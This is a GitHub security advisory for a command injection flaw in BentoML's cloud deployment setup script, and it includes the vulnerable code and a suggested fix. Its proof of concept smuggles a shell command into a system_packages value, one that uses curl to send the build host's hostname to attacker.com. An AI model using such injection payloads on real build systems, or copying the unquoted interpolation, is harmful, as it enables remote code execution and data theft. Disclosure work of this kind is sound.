Skip to content

BentoML: Command Injection in cloud deployment setup script

High severity GitHub Reviewed Published Apr 2, 2026 in bentoml/BentoML • Updated Apr 6, 2026

Package

pip bentoml (pip)

Affected versions

<= 1.4.37

Patched versions

1.4.38

Description

Commit ce53491 (March 24) fixed command injection via system_packages in Dockerfile templates and images.py by adding shlex.quote. However, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting.

The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.

Details

Fixed paths (commit ce53491):

  • src/_bentoml_sdk/images.py:88 - added shlex.quote(package)
  • src/bentoml/_internal/bento/build_config.py:505 - added bash_quote Jinja2 filter
  • Jinja2 templates: base_debian.j2, base_alpine.j2, etc.

Unfixed path:

src/bentoml/_internal/cloud/deployment.py, line 1648:

def _build_setup_script(bento_dir: str, image: Image | None) -> bytes:
    content = b""
    config = BentoBuildConfig.from_bento_dir(bento_dir)
    if config.docker.system_packages:
        content += f"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\n".encode()

system_packages values from bentofile.yaml are joined with spaces and interpolated directly into the apt-get install command. No shlex.quote.

Remote execution confirmed:

  • Line 905: setup_script = _build_setup_script(bento_dir, svc.image) in _init_deployment_files
  • Line 908: upload_files.append(("setup.sh", setup_script)) uploads to BentoCloud
  • Line 914: self.upload_files(upload_files, ...) sends to the remote deployment
  • The script runs on the cloud build infrastructure during container setup

Second caller at line 1068: _build_setup_script is also called during Deployment.watch() for dev mode hot-reload deployments.

Proof of Concept

bentofile.yaml:

service: "service:svc"
docker:
  system_packages:
    - "curl"
    - "jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#"

Generated setup.sh:

apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1

The semicolon terminates the apt-get command. ${IFS} is used for spaces (works in bash, avoids YAML parsing issues). The # comments out the trailing || exit 1. The injected curl exfiltrates the hostname of the build infrastructure to the attacker.

Impact

A malicious bentofile.yaml achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:

  1. Supply chain: A shared Bento from a public model hub contains a poisoned bentofile.yaml. When deployed to BentoCloud, the injected command runs on the build infrastructure.
  2. Insider threat: A data scientist with deploy permissions injects commands into system_packages to exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants' data).
  3. CI/CD compromise: The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.

Local Reproduction Steps

Tested and confirmed on Ubuntu with BentoML source at commit 0772581.

Step 1: Create a directory with a malicious bentofile.yaml:

mkdir /tmp/bento-pwn
cat > /tmp/bento-pwn/bentofile.yaml << 'EOF'
service: "service:svc"
docker:
  system_packages:
    - "curl"
    - "jq; touch /tmp/PWNED_BY_INJECTION #"
EOF

Step 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):

python3 -c "
import yaml
with open('/tmp/bento-pwn/bentofile.yaml') as f:
    config = yaml.safe_load(f)
pkgs = config['docker']['system_packages']
script = f\"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\n\"
print('Generated setup.sh:')
print(script)
with open('/tmp/bento-pwn/setup.sh', 'w') as f:
    f.write(script)
"

Step 3: Execute and verify:

rm -f /tmp/PWNED_BY_INJECTION
bash /tmp/bento-pwn/setup.sh
ls -la /tmp/PWNED_BY_INJECTION

Result: /tmp/PWNED_BY_INJECTION is created, confirming the injected touch command executed. The semicolon broke out of apt-get install, the injected command ran, and # commented out the error handler.

Generated setup.sh content:

apt-get update && apt-get install -y curl jq; touch /tmp/PWNED_BY_INJECTION # || exit 1

For comparison, the fixed version (with shlex.quote) would generate:

apt-get update && apt-get install -y curl 'jq; touch /tmp/PWNED_BY_INJECTION #' || exit 1

The single quotes from shlex.quote neutralize the semicolon and hash, treating the entire string as a literal package name argument to apt-get.

Suggested Fix

Apply shlex.quote to each package name, matching the fix in images.py:

if config.docker.system_packages:
    quoted = ' '.join(shlex.quote(p) for p in config.docker.system_packages)
    content += f"apt-get update && apt-get install -y {quoted} || exit 1\n".encode()

— Koda Reef

References

@frostming frostming published to bentoml/BentoML Apr 2, 2026
Published to the GitHub Advisory Database Apr 3, 2026
Reviewed Apr 3, 2026
Published by the National Vulnerability Database Apr 6, 2026
Last updated Apr 6, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(21st percentile)

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-35043

GHSA ID

GHSA-fgv4-6jr3-jgfw

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.